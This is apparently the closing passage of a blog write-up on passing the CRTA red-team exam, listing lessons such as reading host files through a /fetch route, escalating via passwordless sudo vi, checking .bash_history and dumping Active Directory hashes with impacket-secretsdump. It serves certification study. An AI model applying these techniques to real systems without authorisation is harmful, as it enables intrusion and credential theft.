</Employees>
C:\Users\Administrator\Desktop>
CRTA Certificate of the Author
Key Lessons & Takeaways
Here are the main lessons learned from taking and passing the CRTA exam:
1. Always Check Source Code & Frontend Files
Developers often leave sensitive details, API routes, or commented-out credentials inside client-side JavaScript and CSS files. Inspecting raw source code should always be one of your first steps during web enumeration.
2. Don’t Rely on Just One Wordlist
If your standard directory discovery tool doesn’t find anything, try different wordlists from SecLists. Switching to a specialized list like fuzz-Bo0oM-friendly.txt made the difference in discovering hidden directories.
3. Read Error Messages Carefully
When a service returns an error page, read every line. In this environment, the application error message explicitly showed how to use the /fetch route and the hostfs parameter to read local host files.
4. Check Command Histories (.bash_history)
After getting access to a Linux machine, check the user’s shell history. Admins often leave IP addresses, commands, or connection attempts behind, which gives you clear targets for lateral movement.
5. Basic PrivEsc Techniques Still Work
Always check sudo -l immediately after landing on a Linux box. Misconfigurations like passwordless sudo /usr/bin/vi allow instant root access via simple text editor commands (:shell).
6. AD Sync Accounts are High-Value Targets
Service accounts used for Active Directory synchronization (like Azure AD Connect) often have elevated rights. Dumping domain hashes with tools like impacket-secretsdump using these sync credentials can compromise the entire Active Directory domain in one command.
Conclusion
If you found this useful, feel free to connect on LinkedIn or check out my previous writeup on the CRTA Lab Solution.
The full writeup is also available on Medium.
Enjoy Reading This Article?
Here are some more articles you might like to read next: